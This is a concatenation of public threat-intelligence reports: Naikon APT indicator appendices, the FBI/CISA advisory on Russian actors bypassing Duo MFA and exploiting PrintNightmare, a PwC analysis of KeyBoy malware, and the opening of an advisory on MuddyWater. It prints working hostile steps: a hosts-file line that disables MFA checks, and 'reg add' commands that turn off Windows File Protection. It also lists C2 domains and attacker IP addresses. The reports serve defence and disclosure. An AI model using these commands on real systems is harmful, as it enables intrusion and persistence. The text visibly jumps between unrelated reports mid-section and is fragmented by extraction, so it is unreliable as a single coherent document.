Dropped by 7a9712cbb3e340e577ce0320cceeb05f The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White39 For full indicator and other details, please contact intelreportskaspersky.com Image 13.
tp forec (myanmar).doc Dropped by tp forec (myanmar).doc .exe, 9f23c0aed27f0874308bbd5f173ed85b Image 14.
trade and investment (english).doc Dropped by trade and investment (english).doc .exe, dabba458b13cb676406c2bb219af9f81 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White40 For full indicator and other details, please contact intelreportskaspersky.com Image 15.
11th bcim fapc memo.doc Dropped by 11th bcim fapc memo.doc .exe, d57a7369d79467d7c768bb08febcc6a2 Image 16.
(
r) final  h.e remarks.doc Dropped by (r) final  h.e remarks.doc .exe, 7c0676d950a1443e98b7d5b4727923ea The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White41 For full indicator and other details, please contact intelreportskaspersky.com Image 17.
lo list(26-8-2013).docx Dropped by lo list(26-8-2013).docx .exe, 55048b78e9549c462c1463f7648454a5 Image 18.
company lists.doc Dropped by company lists.doc .exe, 113822c9bfeed38c099ae9004f1d8404 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White42 For full indicator and other details, please contact intelreportskaspersky.com Image 19.
sightseeing tour inbagan.doc Dropped by sightseeing tour inbagan.doc .exe, 21119ddd01694bb9181286b52cf1203c Image 20.
Ns admin.docx Dropped by ns admin.docx .exe, 6f9b6adbb33b7c8912aa2e5ae1c39f7a The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White43 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX B: KASPERSKY LAB VERDICT NAMES Components related to theNaikon APT are detected under arange of verdict names.
Below isalisting of themost common: Backdoor.
Win32.MsnMM.
Backdoor.
Win32.MsnMM.a - .af Backdoor.
Win32.Sakto.
Backdoor.
Win32.Sakto.a - .ct Trojan-Downloader.
Win32.Cordmix.
Trojan-Downloader.
Win32.Cordmix.b Trojan-Downloader.
Win32.Cordmix.ch Trojan-Downloader.
Win32.Cordmix.cs Trojan-Downloader.
Win32.Cordmix.ds HackTool.
Win32.Agent.
HackTool.
Win32.Agent.whj Exploit.
MSWord.
CVE-2012-0158.
Exploit.MSWord.CVE-2012-0158.cb Exploit.MSWord.CVE-2012-0158.ci Exploit.MSWord.CVE-2012-0158.di Exploit.MSWord.CVE-2012-0158.dj Exploit.MSWord.CVE-2012-0158.du Exploit.MSWord.CVE-2012-0158.eb Exploit.
Win32.CVE-2012-0158.
Exploit.
Win32.CVE-2012-0158.a Exploit.
Win32.CVE-2012-0158.aw Exploit.
Win32.CVE-2012-0158.j Trojan-Dropper.
MSWord.
Agent.
Trojan-Dropper.MSWord.
Agent.hc Exploit.
OLE2.CVE-2012-1856.a HEUR:Exploit.
MSWord.
CVE-2012-0158.gen Exploit.
OLE2.Toolbar.a The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White44 For full indicator and other details, please contact intelreportskaspersky.com Backdoor.
Win32.Agent.
Backdoor.
Win32.Agent.bjer Backdoor.
Win32.Agent.dcyv Backdoor.
Win32.Agent.dfbk Backdoor.
Win32.Agent.dgpd Backdoor.
Win32.Zegost.
Backdoor.
Win32.Zegost.aekr Trojan.
Win32.Agent.
Trojan.
Win32.Agent.acflt Trojan.
Win32.Agent.acfma Trojan.
Win32.Agent.adddt Trojan.
Win32.Agent.hofz Trojan.
Win32.Agent.siai Trojan.
Win32.Agent.spde Trojan.
Win32.Agent.tlhi Trojan.
Win32.Agent.tpbo Trojan.
Win32.Agent.unhn Trojan.
Win32.Agent.xikp Trojan.
Win32.Agentb.
Trojan.
Win32.Agentb.bbca Trojan.
Win32.Agentb.bphx Trojan.
Win32.Agentb.iqj Trojan.
Win32.Agentb.jwp Trojan-Downloader.
Win32.Agent.
Trojan-Downloader.
Win32.Agent.gxqe Trojan-Downloader.
Win32.Agent.zzrd Trojan-Spy.
Win32.Agent.
Trojan-Spy.
Win32.Agent.chrj Trojan-Spy.
Win32.Agent.chuq Trojan-Spy.
Win32.Agent.cibn Trojan-Spy.
Win32.Agent.cicz Trojan-Spy.
Win32.Agent.ciet Trojan-Spy.
Win32.Agent.cifj Trojan-Spy.
Win32.Agent.ciry Trojan-Spy.
Win32.Agent.ciiu Trojan-Spy.
Win32.Agent.cita The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White45 For full indicator and other details, please contact intelreportskaspersky.com Trojan-Spy.
Win32.Agent.cjez Trojan-Spy.
Win32.Agent.cjkg Trojan-Spy.
Win32.Agent.cjmv Trojan.
Win32.Pincav.
Trojan.
Win32.Pincav.cngx Trojan.
Win32.Sasfis.
Trojan.
Win32.Sasfis.dmmt Trojan-Dropper.
MSIL.Agent.
Trojan-Dropper.MSIL.Agent.aidh Trojan-Dropper.
Win32.Dycler.
Trojan-Dropper.
Win32.Dycler.ssr Trojan-Dropper.
Win32.Dycler.sss Trojan-Dropper.
Win32.Injector.
Trojan-Dropper.
Win32.Injector.jujl Trojan-Dropper.
Win32.Injector.kblf Trojan-Dropper.
Win32.Injector.kbre Trojan.
Win32.Zapchast.
Trojan.
Win32.Zapchast.aerr Trojan.
Win32.Zapchast.aest Trojan.
Win32.Zapchast.aetr Trojan.
Win32.Zapchast.aety Trojan.
Win32.Zapchast.aevb Trojan.
Win32.Zapchast.aevg Trojan.
Win32.Zapchast.afma Trojan.
Win32.Zapchast.afcz HEUR:Trojan.
Win32.Generic HEUR:Trojan.
Win32.Invader The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White46 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX C: MD5 REFERENCE SET SslMM 469ca0c73398903908babcad14300d8d 95c4a236faa65b75dbb0076d8248584c WinMM c8c81cca4645e71213f2310cec6c277d 45a99f60654f22b671aec980687d0f15 WininetMM/Sakto 9883abc829870478ce6f3cfddbcbbaf2 a5721c5e7f2b49df82595819b5a49c0c Injectv1/InjectResource 5c04904a50f0285851fb7292c13858ec Exe_Exchange 6a82c153bd370250cc2fed89f1bb5c91 48fb78e8ba531505e246760c0d02d6b0 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White47 For full indicator and other details, please contact intelreportskaspersky.com Sys10 c58df5892700ac3f467524f86bf325c0 33d388c6e841ede3920f79516b5da032 xsPlus (nokian) and plugin d86106faaa398b8d83437176bf5e39c4 041436594c1ce9e99c569fb7402fe0c7 d0fba5db608ac8f5a3d05a71ceb0eca1 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White48 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX D: C2 (DOMAIN) REFERENCE SET ahzx.eicp.net bkav.imshop.in googlemm.vicp.net mncgn.51vip.biz myanmartech.vicp.net thailand.vicp.net ubaoyouxiang.gicp.net vietnam.gnway.net The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White49 For full indicator and other details, please contact intelreportskaspersky.com DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts techni- calresearch, analysis, and thoughts.
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Product ID: AA22-074A March 15, 2022 TLP:WHITE fbi.gov/contact-us/field-offices, CyWatchfbi.gov.
reportcisa.gov.
cisa.gov/tlp/.
TLP:WHITE Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability SUMMARY The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to warn organizations that Russian state-sponsored cyber actors have gained network access through exploitation of default MFA protocols and a known vulnerability.
As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default MFA protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network.
The actors then exploited a critical Windows Print Spooler vulnerability, PrintNightmare (CVE-2021-34527) to run arbitrary code with system privileges.
Russian state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using Ciscos Duo MFA, enabling access to cloud and email accounts for document exfiltration.
This advisory provides observed tactics, techniques, and procedures, indicators of compromise (IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity.
Multifactor Authentication (MFA): A Cybersecurity Essential MFA is one of the most important cybersecurity practices to reduce the risk of intrusionsaccording to industry research, users who enable MFA are up to 99 percent less likely to have an account compromised.
Every organization should enforce MFA for all employees and customers, and every user should sign up for MFA when available.
Organizations that implement MFA should review default configurations and modify as necessary, to reduce the likelihood that a sophisticated adversary can circumvent this control.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at  When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see http://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:reportcisa.gov http://www.us-cert.gov/tlp/ FBI    CISA TLP:WHITE Page 2 of 7    Product ID: AA22-074A TLP:WHITE FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this advisory, including the following: Enforce MFA and review configuration policies to protect against fail open and re-enrollment scenarios.
Ensure inactive accounts are disabled uniformly across the Active Directory and MFA systems.
Patch all systems.
Prioritize patching for known exploited vulnerabilities.
For more general information on Russian state-sponsored malicious cyber activity, see CISAs Russia Cyber Threat Overview and Advisories webpage.
For more information on the threat of Russian state- sponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure and CISAs Shields Up Technical Guidance webpage.
For a downloadable copy of IOCs, see AA22-074A.stix.
TECHNICAL DETAILS Threat Actor Activity Note: This advisory uses the MITRE ATTCK for Enterprise framework, version 10.
See appendix A for a table of the threat actors activity mapped to MITRE ATTCK tactics and techniques.
As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an NGO, exploit a flaw in default MFA protocols, and move laterally to the NGOs cloud environment.
Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via compromised credentials [T1078] and enrolling a new device in the organizations Duo MFA.
The actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001], allowing them access to a victim account with a simple, predictable password.
The victim account had been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active Directory.
As Duos default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network.
Using the compromised account, Russian state-sponsored cyber actors performed privilege escalation [TA0004] via exploitation of the PrintNightmare vulnerability (CVE-2021-34527) [T1068] to obtain administrator privileges.
The actors also modified a domain controller file, c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the Duo server [T1556].
This change prevented the MFA service from contacting its server to validate MFA loginthis effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to fail open if the MFA server is unreachable.
Note: Fail open can happen to any MFA implementation and is not exclusive to Duo.
After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully authenticate to the victims virtual private network (VPN) as non-administrator users and make Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133].
The actors ran https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/uscert/russia https://www.cisa.gov/uscert/russia https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/shields-technical-guidance https://www.cisa.gov/uscert/sites/default/files/publications/AA22-074A.stix.xml https://attack.mitre.org/versions/v10/tactics/TA0001/ https://attack.mitre.org/versions/v10/techniques/T1078/ https://attack.mitre.org/versions/v10/tactics/TA0006/ https://attack.mitre.org/versions/v10/techniques/T1110/001/ https://attack.mitre.org/versions/v10/tactics/TA0004/ https://nvd.nist.gov/vuln/detail/CVE-2021-34527 https://attack.mitre.org/versions/v10/techniques/T1068/ https://attack.mitre.org/versions/v10/techniques/T1556/ https://attack.mitre.org/versions/v10/techniques/T1133/ FBI    CISA TLP:WHITE Page 3 of 7    Product ID: AA22-074A TLP:WHITE commands to obtain credentials for additional domain accounts then, using the method described in the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly compromised accounts.
The actors leveraged mostly internal Windows utilities already present within the victim network to perform this activity.
Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors were able to move laterally [TA0008] to the victims cloud storage and email accounts and access desired content.
Indicators of Compromise Russian state-sponsored cyber actors executed the following processes: ping.exe  A core Windows Operating System process used to perform the Transmission Control Protocol (TCP)/IP Ping command used to test network connectivity to a remote host [T1018] and is frequently used by actors for network discovery [TA0007].
regedit.exe  A standard Windows executable file that opens the built-in registry editor [T1112].
rar.exe  A data compression, encryption, and archiving tool [T1560.001].
Malicious cyber actors have traditionally sought to compromise MFA security protocols as doing so would provide access to accounts or information of interest.
ntdsutil.exe  A command-line tool that provides management facilities for Active Directory Domain Services.
It is possible this tool was used to enumerate Active Directory user accounts [T1003.003].
Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with the Duo MFA server: 127.0.0.1 api-redacted.duosecurity.com The following access device IP addresses used by the actors have been identified to date: 45.32.137[.
]94 191.96.121[.
]162 173.239.198[.
]46 157.230.81[.
]39 MITIGATIONS The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber actors exploiting default MFA protocols and exfiltrating sensitive information.
Organizations should: Enforce MFA for all users, without exception.
Before implementing, organizations should review configuration policies to protect against fail open and re-enrollment scenarios.
Implement time-out and lock-out features in response to repeated failed login attempts.
https://attack.mitre.org/versions/v10/tactics/TA0008/ https://attack.mitre.org/versions/v10/techniques/T1018/ https://attack.mitre.org/versions/v10/tactics/TA0007/ https://attack.mitre.org/versions/v10/techniques/T1112/ https://attack.mitre.org/versions/v10/techniques/T1560/001/ https://attack.mitre.org/versions/v10/techniques/T1003/003/ FBI    CISA TLP:WHITE Page 4 of 7    Product ID: AA22-074A TLP:WHITE Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems etc.
Update software, including operating systems, applications, and firmware on IT network assets in a timely manner.
Prioritize patching known exploited vulnerabilities, especially critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet- facing equipment.
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords.
Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.
Continuously monitor network logs for suspicious activity and unauthorized or unusual login attempts.
Implement security alerting policies for all changes to security-enabled accounts/groups, and alert on suspicious process creation events (ntdsutil, rar, regedit, etc.
).
Note: If a domain controller compromise is suspected, a domain-wide password resetincluding service accounts, Microsoft 365 (M365) synchronization accounts, and krbtgtwill be necessary to remove the actors access.
(
For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/reset- krbtgt-password.html).
Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
FBI and CISA also recommend organizations implement the recommendations listed below to further reduce the risk of malicious cyber activity.
Security Best Practices Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB) Signing, restrict Administrative privileges (local admin users, groups, etc.
),
and review sensitive materials on domain controllers SYSVOL share.
Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint detection and response (EDR) are deployed to all endpoints and enabled.
Routinely verify no unauthorized system modifications, such as additional accounts and Secure Shell (SSH) keys, have occurred to help detect a compromise.
To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system.
Network Best Practices Monitor remote access/RDP logs and disable unused remote access/RDP ports.
Deny atypical inbound activity from known anonymization services, to include commercial VPN services and The Onion Router (TOR).
Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://docs.microsoft.com/en-us/answers/questions/87978/reset-krbtgt-password.html https://docs.microsoft.com/en-us/answers/questions/87978/reset-krbtgt-password.html FBI    CISA TLP:WHITE Page 5 of 7    Product ID: AA22-074A TLP:WHITE Regularly audit administrative user accounts and configure access control under the concept of least privilege.
Regularly audit logs to ensure new accounts are legitimate users.
Scan networks for open and listening ports and mediate those that are unnecessary.
Maintain historical network activity logs for at least 180 days, in case of a suspected compromise.
Identify and create offline backups for critical assets.
Implement network segmentation.
Automatically update anti-virus and anti-malware solutions and conduct regular virus and malware scans.
Remote Work Environment Best Practices With the increased use of remote work environments and VPN services, the FBI and CISA encourage organizations to implement the following best practices to improve network security: Regularly update VPNs, network infrastructure devices, and devices used for remote work environments with the latest software patches and security configurations.
When possible, implement multi-factor authentication on all VPN connections.
Physical security tokens are the most secure form of MFA, followed by authenticator applications.
When MFA is unavailable, require employees engaging in remote work to use strong passwords.
Monitor network traffic for unapproved and unexpected protocols.
Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a point of entry for cyber actors.
User Awareness Best Practices Cyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity.
The FBI and CISA recommend the following best practices to improve employee operations security when conducting business: Provide end-user awareness and training.
To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and delivery methods.
Also, provide users with training on information security principles and techniques.
Inform employees of the risks associated with posting detailed career information to social or professional networking sites.
Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyber incident, to help quickly and efficiently identify threats and employ mitigation strategies.
FBI    CISA TLP:WHITE Page 6 of 7    Product ID: AA22-074A TLP:WHITE INFORMATION REQUESTED All organizations should report incidents and anomalous activity to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov and/or CISAs 24/7 Operations Center at reportcisa.gov or (888) 282-0870.
mailto:CyWatchfbi.gov mailto:centralcisa.dhs.gov FBI    CISA TLP:WHITE Page 7 of 7    Product ID: AA22-074A TLP:WHITE APPENDIX A: THREAT ACTOR TACTICS AND TECHNIQUES See table 1 for the threat actors tactics and techniques identified in this CSA.
See the ATTCK for Enterprise for all referenced threat actor tactics and techniques.
Table 1: Threat Actor MITRE ATTCK Tactics and Techniques Tactic Technique Initial Access [TA0001] Valid Accounts [T1078] Persistence [TA0003] External Remote Services [T1133] Modify Authentication Process [T1556] Privilege Escalation [TA0004] Exploitation for Privilege Escalation [T1068] Defense Evasion [TA0005] Modify Registry [T1112] Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] OS Credential Dumping: NTDS [T1003.003] Discovery [TA0007] Remote System Discovery [T1018] Lateral Movement [TA0008] Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] https://attack.mitre.org/versions/v10/techniques/enterprise/ https://attack.mitre.org/versions/v10/techniques/enterprise/ https://attack.mitre.org/versions/v10/tactics/TA0001/ https://attack.mitre.org/versions/v10/techniques/T1078/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/techniques/T1133/ https://attack.mitre.org/versions/v10/techniques/T1556/ https://attack.mitre.org/versions/v10/tactics/TA0004/ https://attack.mitre.org/versions/v10/techniques/T1068/ https://attack.mitre.org/versions/v10/tactics/TA0005/ https://attack.mitre.org/versions/v10/techniques/T1112/ https://attack.mitre.org/versions/v10/tactics/TA0006/ https://attack.mitre.org/versions/v10/techniques/T1110/001/ https://attack.mitre.org/versions/v10/techniques/T1003/003/ https://attack.mitre.org/versions/v10/tactics/TA0007/ https://attack.mitre.org/versions/v10/techniques/T1018/ https://attack.mitre.org/versions/v10/tactics/TA0008/ https://attack.mitre.org/versions/v10/tactics/TA0009/ https://attack.mitre.org/versions/v10/techniques/T1560/001/ Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability Summary Technical Details Threat Actor Activity Indicators of Compromise Mitigations Information Requested Appendix A: Threat Actor TActics and Techniques
The KeyBoys are back in town www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back- in-town.html Analysis Our analysis starts with a Microsoft Word document named 2017 Q4 Work Plan.docx (with a hash of 292843976600e8ad2130224d70356bfc), which was created on 2017-10- 11 by a user called Admin, and first uploaded to VirusTotal, a website and file scanning service, on the same day, by a user in South Africa.
Curiously, the Word document does not contain any macros, or even an exploit.
Rather, it uses a technique recently reported on by SensePost, which allows an attacker to craft a specifically created Microsoft Word document, which uses the Dynamic Data Exchange (DDE) protocol.
DDE traditionally allows for the sending of messages between applications that share data, for example from Word to Excel or vice versa.
In the case reported on by SensePost, this allowed for the fetching or downloading of remote payloads, using PowerShell for example.
Figure 1  Word Error Once we extract the initial document, using 7-zip for example, we can observe the usual structure, and inside, a file called document.xml is of interest.
In this XML, a remote payload, in this case a DLL, will be downloaded using PowerShell, moved to the users temporary folder, and run using rundll32.exe, starting in the HOK function or export.
Figure 2 shows the relevant part in our XML file.
Figure 2 - Download and payload execution This debug.dll is a PE32 binary file with the following properties: md5 hash: 64b2ac701a0d67da134e13b2efc46900 sha1 hash: 1bb516d70591a5a0eb55ee71f9f38597f3640b14 sha256 hash: f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92 size: 531,456 bytes internal DLL name: InstallClient.dll compiler: Microsoft linker: Microsoft Linker(14.0)[DLL32] compilation time: 2017-07-06 08:50:10 This DLL serves as a dropper for the actual payload, and as such the internal name of InstallClient is an apt choice by the threat actor.
Developing a Yara rule for the simple dropper DLL, yielded several new binaries: 1dbbdd99cb8d7089ab31efb5dcf09706 5708e0320879de6f9ac928046b1e4f4e a6903d93f9d6f328bcfe3e196fd8c78b cf6f333f99ee6342d6735ac2f6a37c1e ac9b8c82651eafff9a3bbe7c69d69447 d6ddecdb823de235dd650c0f7a2f3d8f We have analysed d6ddecdb823de235dd650c0f7a2f3d8f, which also has InstallClient.dll as its internal name, as it seems to be the earliest dropper DLL used in this campaign, and does not appear to be very different from any of the other DLLs so far uncovered.
The DLL starts in the function named Insys, which performs some simple checks, for example, if the current user account is an administrator, and will subsequently call the function named SSSS, which is the main function.
A substantial amount of actions will follow according to whats defined in the SSSS function, as follows: Prepare target DLL, in this case rasauto.dll, for replacement in C:\Windows\System32 Stop the service belonging to the target DLL, and use the takeown and icacls commands to gain full permissions for the system service DLL Disable Windows File Protection, which normally prevents software or users from replacing critical Windows files Suppress any error messages from Windows from popping up on boot Copy the target DLL, rasauto.dll, to a new file named rasauto32.dll Replace the target DLL with the malwares DLL, which is time-stomped in order to evade detection Start the now malicious service using net.exe and net1.exe and, Create configuration and keylogs in C:\Windows\system32, using an uncommon extension, in this case .tsp, and additionally create a folder in C:\Programdata for the purpose of screen captures.
The malware will also, in some observed cases, output debug or error messages in a newly created file in the users Application Data folder as DebugLog.
TXT, for example: \AppData\Roaming\Microsoft\Windows\Cookies\DebugLog.
TXT Then, the original dropper DLL will then be deleted, using a simple batch file that runs in a loop.
In Figures 3 to 5, the target DLL, the original and new DLL, as well as the full process flow are shown.
Figure 3 - Target DLL, config and keylog file built dynamically on the stack Figure 4 - Real and fake rasauto.dll (rasauto32.dll is the real or original DLL) Figure 5 - Complete process flow While visually there is apparently no difference, due to the malware being time-stomped (altering the created and modified dates of a file or folder), we can however observe a few subtle differences in the real and malicious binary.
Figure 6 - Subtle differences As can be seen in Figure 6, the fake DLL has a different link date, some minor spelling mistakes, and does not include the build in the file version details.
As the malware also disables Windows File Protection and thus any pop-ups, it may not be immediately obvious to system administrators that a legitimate DLL was actually replaced.
The following commands are issued in order to achieve persistence: reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v SFCDisable /t REG_DWORD /d 4 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Windows /v NoPopUpsOnBoot /t REG_DWORD /d 1 /f Taking a look at the Windows registry for our service, RasAuto, short for Remote Access Auto Connection Manager and historically used for connecting dial-up modems to the internet for example, reveals no specific additional modifications.
Dllhost.exe is additionally seen to call back or phone home to a hardcoded range of C2 servers, on ports 53, 80, and 443.
Figure 7 - Dllhost connecting to a remote address Dllhost usually has no need to connect to the internet or WAN, and as such it is a possible indicator of malicious activity.
Attaching a debugger to dllhost.exe, reveals the keylogger files and configuration, replaced DLL file, as well as another folder, which is likely used to store screenshots and other data.
Another ASCII string can be discovered in the DLLs config, MDDEFGEGETGIZ, which likely pertains to the specific KeyBoy campaign, or target.
Figure 8 - ASCII dump The malware leveraged by KeyBoy has a plethora of functionality, including, but not limited to: Screen grabbing/taking screenshots Determine public or WAN IP address (using a public IP service), likely for determining a suited target Gather extended system information, such as information about the operating system, disks, memory and so on A file browser or explorer Shutdown and reboot commands (in addition to the point below) Launching interactive shells for communicating with the victim machine Download and upload functionality and Usage of custom SSL libraries for masquerading C2 traffic.
Interestingly enough, the malware developers left several unique debug messages, for example: GetScreenCmd from file:s Take Screen Error,May no user login Take Screen Error,service dll not exists Earlier, we mentioned the threat actor uses custom SSL libraries to communicate to the C2.
While we have been unable to observe this behavior in any traffic logs, we were able to extract a certificate, which can be found in Appendix B.
Converting this certificate to the DER format, we find strings pointing to jessma.org, and an email address, ldcsaa21cn.com.
These belong to projects by a Chinese developer, where one of the tools or libraries is named HP-Socket, which is a High Performance TCP/UDP Socket Component.
Additionally, said library sported an interesting debug path: D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\Release\TClient.pdb In addition to writing a Yara rule for the dropper DLL and finding additional samples as mentioned above, we repeated the same process for the payload DLL.
In Table 1 below, you may find other payloads, with their related and fake, or replaced Windows DLL or service.
Hash Impersonated DLL Impersonated service a55b0c98ac3965067d0270a95e60e87e ikeext.dll IKE and AuthIP IPsec Keying Modules 2e04cdf98aead9dd9a5210d7e601cca7 rasauto.dll Remote Access Auto Connection Manager d6ddecdb823de235dd650c0f7a2f3d8f rasauto.dll Remote Access Auto Connection Manager 1dbbdd99cb8d7089ab31efb5dcf09706 sinet.dll Unknown 581ddf0208038a90f8bc2cdc75833425 sinet.dll Unknown Table 1 - Impersonated DLLs Sinet.dll may relate to SPlayer, a popular video player in China.
Related samples Hunting further, we have discovered similar samples to the ones described above, with additional interesting debug paths: Hash Debug path 7d39cef34bdc751e9cf9d46d2f0bef95 D:\work\vs\UsbFerry_v2\bin\UsbFerry.pdb 29e44cfa7bcde079e9c7afb23ca8ef86 E:\Work\VS Project\cyassl-3.3.0\out\SSLClient_x64.pdb Table 2 - Other debug paths Both samples include references to a work folder, and a VS or VS Project.
The latter likely points to a Visual Studio project short name, or VS.
While the connection initially seems rather weak, it did hit the same Yara rule as mentioned before and the sample with hash 29e44cfa7bcde079e9c7afb23ca8ef86 additionally includes an SSL certificate, which, when converted, points to another custom SSL library, called WolfSSL, which is a a small, fast, portable implementation of TLS/SSL for embedded devices to the cloud.
The same hash or binary also includes what we assess to be a campaign name or KeyBoy version identifier, which is weblogic20170727.
Another sample which hit our Yara rule is 7aea7486e3a7a839f49ebc61f1680ba3, which was first uploaded to VirusTotal on 2017-08-25.
This sample appears to be an older variant of KeyBoy, as there are several plain-text strings present, which are consistent with CitizenLabs report referenced in the introduction.
All samples (hashes) and other indicators are provided in Appendix A. Infrastructure We have mapped out the complete infrastructure that we have discovered, using Maltego, as shown in Figure 9.
Figure 9 - C2 graphing There was some overlap with the samples and infrastructure, and one email address appears to jump out, which is linked to several domains: 657603405qq[.
]com.
This email address does not appear to have been observed before.
One other relevant point to note in regards to the infrastructure, is the use of dates, likely relating to campaign names, as part of the C2 servers.
Examples include: Weblogic727.xxuz[.
]com (2017-07-27 campaign) and, Weblogic1709.zzux[.
]com (2017-09-17 campaign).
All C2s are provided in Appendix A.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at Cybersecurity_Requestsnsa.gov.
United Kingdom organizations should report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or for urgent assistance call 03000 200 973.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see www.cisa.gov/tlp.
TLP: WHITE Product ID: AA22-055A February 24, 2022 TLP:WHITE Co-Authored by: Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATTCK) framework, version 10.
See the ATTCK for Enterprise for all referenced threat actor tactics and techniques.
SUMMARY The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdoms National Cyber Security Centre (NCSC- UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectorsincluding telecommunications, defense, local government, and oil and natural gasin Asia, Africa, Europe, and North America.
Note: MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.
MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).
[1] This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018.
